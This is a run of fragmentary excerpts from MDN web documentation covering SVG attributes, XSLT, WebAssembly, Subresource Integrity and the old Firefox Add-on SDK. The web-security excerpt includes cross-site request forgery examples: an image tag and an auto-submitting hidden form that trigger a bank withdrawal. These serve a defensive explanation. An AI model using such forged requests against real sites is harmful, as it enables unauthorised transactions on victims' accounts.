only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100"...
... r="100" fill="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value coincides with the presentational value of cy for the element whether the value for cy was inherited or not.
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="6...
...3" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fy' in that specification.
in - SVG: Scalable Vector Graphics
WebSVGAttributein
workaround for backgroundimage instead of using in="backgroundimage", we need to import one of the images to blend inside the filter itself, using an <feimage> element.
... html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmultiply"> <!-- this will not work.
... --> <feblend in="backgroundimage" in2="sourcegraphic" mode="multiply"/> </filter> </defs> <image xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundmultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="imagemultiply"> <!-- this is a workaround.
... --> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
lengthAdjust - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
... </text> <text x="0" y="50" textlength="300" lengthadjust="spacingandglyphs"> stretched using spacing and glyphs.
... </text> <text x="0" y="80" textlength="100" lengthadjust="spacing"> shrunk using spacing only.
... </text> <text x="0" y="110" textlength="100" lengthadjust="spacingandglyphs"> shrunk using spacing and glyphs.
patternContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
... note that the size of the tile is computed against the bounding box of the target element --> <pattern id="p1" width="20%" height="20%" patterncontentunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- a pattern tile that content coordinates and values are computed against the bounding box of the target element.
... note that the size of the tile is also computed against the bounding box of the target element --> <pattern id="p2" width="20%" height="20%" patterncontentunits="objectboundingbox"> <circle cx=".1" cy=".1" r=".1" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> <!-- right square with bounding box tiles --> <rect x="110" y="10" width="80" height="80" fill="url(#p2)" /> </svg> pattern for <pattern>, patterncontentunits defines the coordinate system in use for the content of the element.
...a bounding box could be considered the same as if the content of the <pattern> were bound to a "0 0 1 1" viewbox for a pattern tile of width and height of 100%.
requiredExtensions - SVG: Scalable Vector Graphics
it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... if the attribute is not present, then it implicitly evaluates to "true".
... if a null string or empty string value is given, the attribute evaluates to "false".
... the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script writers can distinguish between different versions of a given extension.
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
value <list-of-numbers> default value if type="matrix", identity matrix, if type="saturate", 1, resulting in identity matrix, if type="huerotate", 0, resulting in identity matrix animatable yes <list-of-numbers> the value is a list of numbers, which is interpreted differently depending on the value of the type attribute: for type="matrix", values is a list of 20 matrix values (a00 a01 a02 a03 a04 a10 a11 ..
... for type="saturate", values is a single real number value (0 to 1).
... for type="huerotate", values is a single one real number value (degrees).
... for type="luminancetoalpha", values is not applicable.
viewBox - SVG: Scalable Vector Graphics
WebSVGAttributeviewBox
html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for the r attribute: 4 resolved against 100 as set in the viewbox --> <circle cx="50%"...
... cy="50%" r="4" fill="white"/> </svg> <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox` --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a small viewbox the circle looks large as it is using user units for the r attribute: 4 resolved against 10 as set in the viewbox --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <!-- the point of coordinate 0,0 is now in the center of the viewport, and 100% is still resolve to a width or height of 10 user units so the rectangle looks shifted to the bottom/right corner of the viewport --> <rect x="0" y="0" width...
...="100%" height="100%"/> <!-- with the point of coordinate 0,0 in the center of the viewport the value 50% is resolve to 5 which means the center of the circle is in the bottom/right corner of the viewport.
... --> <circle cx="50%" cy="50%" r="4" fill="white"/> </svg> the exact effect of this attribute is influenced by the preserveaspectratio attribute.
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x1 defines the x coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black...
..." /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x1' in that specification.
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x2 defines the x coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 100% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="bl...
...ack" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'x2' in that specification.
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
html,body,svg { height:100% } <svg viewbox="0 0 100 100"> <clippath id="myclip"> <!-- everything outside the circle will be clipped and therefore invisible.
... --> <circle cx="40" cy="35" r="35" /> </clippath> <!-- the original black heart, for reference --> <path id="heart" d="m10,30 a20,20,0,0,1,50,30 a20,20,0,0,1,90,30 q90,60,50,90 q10,60,10,30 z" /> <!-- only the portion of the red heart inside the clip circle is visible.
... --> <use clip-path="url(#myclip)" xlink:href="#heart" fill="red" /> </svg> /* with a touch of css for browsers who * * implemented the r geometry property.
...for example, a circle with a radius of 10 which is clipped to a circle with a radius of 5 will not receive "click" events outside the smaller radius.
<feColorMatrix> - SVG: Scalable Vector Graphics
example svg <svg width="100%" height="100%" viewbox="0 0 150 500" preserveaspectratio="xmidymid meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- ref --> <defs> <g id="circles"> <circle cx="30" cy="30" r="20" fill="blue" fill-opacity="0.5" /> <circle cx="20" cy="50" r="20" fill="green" fill-opacity="0.5" /> <circle cx="40" cy="50" r="20" fill=...
..."red" fill-opacity="0.5" /> </g> </defs> <use href="#circles" /> <text x="70" y="50">reference</text> <!-- identity matrix --> <filter id="colormethesame"> <fecolormatrix in="sourcegraphic" type="matrix" values="1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 70)" filter="url(#colormethesame)" /> <text x="70" y="120">identity matrix</text> <!-- combine rgb into green matrix --> <filter id="colormegreen"> <fecolormatrix in="sourcegraphic" type="matrix" values="0 0 0 0 0 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0" /> </filter> <use href="#circles" transform="translate(0 140)" filter="url(#col...
...ormegreen)" /> <text x="70" y="190">rgbtogreen</text> <!-- saturate --> <filter id="colormesaturate"> <fecolormatrix in="sourcegraphic" type="saturate" values="0.2" /> </filter> <use href="#circles" transform="translate(0 210)" filter="url(#colormesaturate)" /> <text x="70" y="260">saturate</text> <!-- huerotate --> <filter id="colormehuerotate"> <fecolormatrix in="sourcegraphic" type="huerotate" values="180" /> </filter> <use href="#circles" transform="translate(0 280)" filter="url(#colormehuerotate)" /> <text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 3...
...50)" filter="url(#colormelta)" /> <text x="70" y="400">luminancetoalpha</text> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<fecolormatrix>' in that specification.
Subresource Integrity - Web security
example integrity string with base64-encoded sha384 hash: sha384-oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc so oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc is the "hash" part, and the prefix sha384 indicates that it's a sha384 hash.
... note: an integrity value's "hash" part is, strictly speaking, a cryptographic digest formed by applying a particular hash function to some input (for example, a script or stylesheet file).
... but it’s common to use the shorthand "hash" to mean cryptographic digest, so that's what's used in this article.
... <script src="https://example.com/example-framework.js" integrity="sha384-oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc" crossorigin="anonymous"></script> note: for more details on the purpose of the crossorigin attribute, see cors settings attributes.
Types of attacks - Web security
(click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code.
...the browser executes the code because it assumes the response is from a "trusted" server which the user has already interacted with.
...in this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money: <img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the html that contains this image.
... for endpoints that require a post request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.queryselector('form').submit(); }</script> there are a few techniques that should be used to prevent this from happening: get endpoints should be idempotent—actions that enact a change and do not simply retrieve data should require sending a post (or other http method) request.
<xsl:text> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementtext
syntax <xsl:text disable-output-escaping="yes" | "no"> text </xsl:text> required attributes none.
... optional attributes disable-output-escaping (netscape does not serialize the result of transformation - the "output" below - so this attribute is essentially irrelevant in context.
...the available values are "yes" or "no".
... if "yes" is set, for example, the character > is output as >, not as &gt;.
<xsl:value-of> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementvalue-of
syntax <xsl:value-of select=expression disable-output-escaping="yes" | "no" /> required attributes select specifies the xpath expression to be evaluated and written to the output tree.
... optional attributes disable-output-escaping (netscape does not serialize the result of transformation - the "output" below - so this attribute is essentially irrelevant in context.
...the available values are "yes" or "no".
... if "yes" is set, for example, the character > is output as >, not as "&gt".
Advanced Example - XSLT: Extensible Stylesheet Language Transformations
figure 7: sorting based on div contentview example // xhtml fragment: <div id="example"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> <div>6</div> <div>7</div> <div>8</div> <div>9</div> <div>10</div> </div> // javascript var xslref; var xslloaded = false; var xsltprocessor = new xsltprocessor(); var mydom; var xmlref = document.implementation.createdocument("", "", null); function sort() { if (!xslloaded){ p = new xmlhttprequ...
...est(); p.open("get", "example2.xsl", false); p.send(null); xslref = p.responsexml; xsltprocessor.importstylesheet(xslref); xslloaded = true; } // create a new xml document in memory xmlref = document.implementation.createdocument("", "", null); // we want to move a part of the dom from an html document to an xml document.
... // importnode is used to clone the nodes we want to process via xslt - true makes it do a deep clone var mynode = document.getelementbyid("example"); var clonednode = xmlref.importnode(mynode, true); // after cloning, we append xmlref.appendchild(clonednode); // set the sorting parameter in the xsl file var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); // initiate the transformation var fragment = xsltprocessor.transformtofragment(xmlref, document); // clear the contents document.getelementbyid("example").innerhtml = ""; mydom = fragment; // add the new content from the tr...
...ansformation document.getelementbyid("example").appendchild(fragment) } // xsl stylesheet: <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="html" indent="yes" /> <xsl:param name="myorder" /> <xsl:template match="/"> <xsl:apply-templates select="/div//div"> <xsl:sort select="." data-type="number" order="{$myorder}" /> </xsl:apply-templates> </xsl:template> <xsl:template match="div"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> ...
Compiling an Existing C Module to WebAssembly - WebAssembly
$ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function.
...it seemed to work brilliantly: $ emcc -o3 -s wasm=1 -s extra_exported_runtime_methods='["cwrap"]' \ -i libwebp \ webp.c \ libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c note: this strategy will not work with every c project.
... now you only need some html and javascript to load your new module: <script src="./a.out.js"></script> <script> module.onruntimeinitialized = async _ => { const api = { version: module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> and you will see the correct version number in the output: note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc.
...await fetch(src).then(resp => resp.blob()); const img = await createimagebitmap(imgblob); // make canvas same size as image const canvas = document.createelement('canvas'); canvas.width = img.width; canvas.height = img.height; // draw image onto canvas const ctx = canvas.getcontext('2d'); ctx.drawimage(img, 0, 0); return ctx.getimagedata(0, 0, img.width, img.height); } now it's "only" a matter of copying the data from javascript into wasm.
Porting the Library Detector - Archive of obsolete content
(passed) { var libraryinfo = { name: i, version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); ...
... main.js will create an array of icons corresponding to the array of library names, and use that to build the widget's html content dynamically: function buildwidgetviewcontent(librarylist) { widgetcontent = htmlcontentpreamble; librarylist.foreach(function(library) { widgetcontent += buildiconhtml(icons[library.name], library.name + "&lt;br&gt;version: " + library.version); }); widgetcontent += htmlcontentpostamble; return widgetcontent; } function updatewidgetview(tab) { var widgetview = widget.getview(tab.window); if (!tab.libraries) { tab.libraries = []; } widgetview.content = buildwidgetviewcontent(tab.libraries); widgetview.width = tab.libraries.length * icon_width; } main.js will use the tabs modul...
...name of the corresponding library: function setlibraryinfo(element) { self.port.emit('setlibraryinfo', element.target.title); } var elements = document.getelementsbytagname('img'); for (var i = 0; i &lt; elements.length; i++) { elements[i].addeventlistener('mouseover', setlibraryinfo, false); } one in the panel, which updates the panel's content with the library information: self.on("message", function(libraryinfo) { window.document.body.innerhtml = libraryinfo; }); finally main.js relays the library information from the widget to the panel: widget.port.on('setlibraryinfo', function(libraryinfo) { widget.panel.postmessage(libraryinfo); }); ...
Program ID - Archive of obsolete content
when you create an xpi with jpm xpi: if the package.json does not include an id field, then the id written into the install.rdf is the value of the name field prepended with "@".
... if the package.json does include an id field, and it contains "@", then this is written into the install.rdf as the add-on id.
... if the package.json does include an id field, and it does not contain "@", then jpm xpi raises an error and the xpi will not be built.
notifications - Archive of obsolete content
var notifications = require("sdk/notifications"); notifications.notify({ title: "jabberwocky", text: "'twas brillig, and the slithy toves", data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(this.data) would produce the same result.
... var notifications = require("sdk/notifications"); var self = require("sdk/self"); var myiconurl = self.data.url("myicon.png"); notifications.notify({ text: "i have an icon!", iconurl: myiconurl }); from firefox 34, you can use "./myicon.png" as an alias for self.data.url("myicon.png").
... so you can rewrite the above code like this: var notifications = require("sdk/notifications"); var myiconurl = "./myicon.png"; notifications.notify({ text: "i have an icon!", iconurl: myiconurl }); this module depends on the underlying system's notification service.
content/symbiont - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.
...onload event fires this property is optional and defaults to "end".
...this may have one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload e...
content/worker - Archive of obsolete content
but unlike "web workers," these workers run in the same process as web content and browser chrome, so code within workers can block the ui.
... methods postmessage(data) asynchronously emits "message" events in the enclosed worker, where content script was loaded.
...the script may not be initialized yet, or may already have been unloaded you can handle the detach event in the content script itself though: // in content script self.port.on("detach", function() { window.close(); }); ...
core/promise - Archive of obsolete content
if handler returns a promise, bar will "become" that promise.
... readasync(url).then(function (value) { throw new error("can't bar."); }, function (error) { // we only get here if `readasync` fails.
...lets see the implementation of readasync that we used in several of the examples above: const { defer } = require('sdk/core/promise'); function readasync(url) { var deferred = defer(); let xhr = new xmlhttprequest(); xhr.open("get", url, true); xhr.onload = function() { deferred.resolve(xhr.responsetext); }; xhr.onerror = function(event) { deferred.reject(event); }; xhr.send(); return deferred.promise; } so defer returns an object that contains a promise and two resolve, reject functions that can be used to resolve / reject that promise.
io/text-streams - Archive of obsolete content
function readtextfromfile(filename) { var fileio = require("sdk/io/file"); var text = null; if (fileio.exists(filename)) { var textreader = fileio.open(filename, "r"); if (!textreader.closed) { text = textreader.read(); textreader.close(); } } return text; } function writetexttofile(text, filename) { var fileio = require("sdk/io/file"); var textwriter = fileio.open(filename, "w"); if (!textwriter.closed) { textwriter.write(text); textwriter.close(); } } globals constructors textreader(inputstream, charset) creates a buffered input stream that reads text from a backing stream using a given text encoding.
...if not specified, "utf-8" is assumed.
...if not specified, "utf-8" is assumed.
stylesheet/style - Archive of obsolete content
it accepts the following values: "agent", "user" and "author".
... if not provided, the default value is "author".
...if no type is provided in constructor's option, it returns the default value, "author".
system/xul-app - Archive of obsolete content
for example, for firefox this value is "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}".
...the possible values here are: "firefox" "fennec" "mozilla" "seamonkey" "sunbird" "thunderbird" "firefox"and"fennec"` are the most commonly used values.
...for example, ids["firefox"] == "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}".
util/object - Archive of obsolete content
any argument given with "falsy" values (null, undefined) in case of objects are skipped.
... let { merge } = require("sdk/util/object"); var a = { jetpacks: "are yes", foo: 10 } var b = merge(a, { foo: 5, bar: 6 }, { foo: 50, location: "sf" }); b === a // true b.jetpacks // "are yes" b.foo // 50 b.bar // 6 b.location // "sf" // merge also translates property descriptors var c = { "type": "addon" }; var d = {}; object.defineproperty(d, "name", { value: "jetpacks", configurable: false }); merge(c, d); var props = object.getownpropertydescriptor(c, "name"); console.log(props.configurable); // true parameters source : object the object that other properties are merged into.
... let { extend } = require("sdk/util/object"); var a = { alpha: "a" }; var b = { beta: "b" }; var g = { gamma: "g", alpha: null }; var x = extend(a, b, g); console.log(a); // { alpha: "a" } console.log(b); // { beta: "b" } console.log(g); // { gamma: "g", alpha: null } console.log(x); // { alpha: null, beta: "b", gamma: "g" } parameters arguments : object n arguments that get merged into a new object.
Creating annotations - Archive of obsolete content
an element is eligible if it, or one of its ancestors in the dom tree, has an attribute named "id".
... $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('background-color'); $(matchedelement).css('background-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matc...
... annotation editor html the html is very simple: <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style type="text/css" media="all"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } textarea { width: 180px; height: 180px; margin: 10px; padding: 0px; } ...
Logging - Archive of obsolete content
the console.log() method prints an informational message: console.log("hello world"); try it out: create a new directory, and navigate to it execute jpm init, accepting all the defaults open "index.js" and add the line above execute jpm run firefox will start, and the following line will appear in the command window you used to execute jpm run: info: hello world!
...the following add-on logs the html content of every tab the user loads, by calling console.log() inside a content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({ contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used.
... see "logging levels" in the console reference documentation for more information on this.
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
...the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab.
...this add-on loads a page, then attaches a script to the page which adds a red border to it: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: runscript }); function runscript(tab) { tab.attach({ contentscript: "document.body.style.border = '5px solid red';" }); } learning more to learn more about working with tabs in the sdk, see the tabs api reference.
Boxes - Archive of obsolete content
make the box style="display: block" and the wrapping behavior will occur when the box is resized: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="...
...jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the contents, you should probably add align="start" attribute to the box.
... this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> </box> </window> ...
Customizing the download progress bar - Archive of obsolete content
in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/content/downloads/downloads.xul chrome://myextension/content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so t...
...in your overlay file, add a javascript file between the <overlay> and </overlay> tags: <script type="application/javascript" src="chrome://myextension/content/downloads-overlay.js" /> the javascript file will look something like this: var mydownloadmanager = { defaultcreatedownloaditem : null, init : function fdm_init() { mydownloadmanager.defaultcreatedownloaditem = window.createdownloaditem; window.createdownloaditem = function(aattrs) { var dl = mydownloadmanager.def...
...aultcreatedownloaditem(aattrs); if (dl) { if (...whatever condition you use to decide whether to change this download...) { dl.setattribute("myspecialdownload", "true"); } } return dl; } } }; window.addeventlistener("load", function(e) { mydownloadmanager.init(); }, false); in your css file, change richdownloaditem (both occurrences) to richdownloaditem[myspecialdownload="true"].
Embedding SVG - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body> <!-- html and svg go here --> </body> </html> example: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xht...
